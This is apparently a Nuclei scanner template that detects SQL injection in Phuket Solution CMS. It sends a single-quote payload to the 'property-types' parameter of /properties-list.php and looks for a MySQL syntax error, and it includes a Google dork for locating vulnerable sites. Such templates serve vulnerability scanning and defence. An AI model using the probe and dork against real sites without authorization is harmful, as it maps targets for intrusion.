34 lines
984 B
YAML
34 lines
984 B
YAML
|
id: phuket-cms-sqli
|
||
|
|
||
|
info:
|
||
|
name: Phuket Solution CMS - SQL Injection
|
||
|
author: r3Y3r53
|
||
|
severity: high
|
||
|
description: |
|
||
|
Phuket Solutions CMS is vulnerable to sql injection in which an attacker is able to manipulate an SQL query through user input, causing the application to execute unintended SQL code.
|
||
|
reference:
|
||
|
- https://www.exploitalert.com/view-details.html?id=36234
|
||
|
metadata:
|
||
|
max-request: 2
|
||
|
google-dork: intext:"Developed by Phuket Solution"
|
||
|
verified: true
|
||
|
tags: phuket,sqli,phuket-cms
|
||
|
|
||
|
http:
|
||
|
- raw:
|
||
|
- |
|
||
|
GET /properties-list.php HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
|
||
|
- |
|
||
|
GET /properties-list.php?property-types=%27 HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
|
||
|
matchers:
|
||
|
- type: dsl
|
||
|
dsl:
|
||
|
- 'status_code_2 == 200'
|
||
|
- 'contains(content_type_2, "text/html")'
|
||
|
- 'contains(body_2, "You have an error in your SQL syntax") && contains(body_1, "Phuket Solution")'
|
||
|
condition: and
|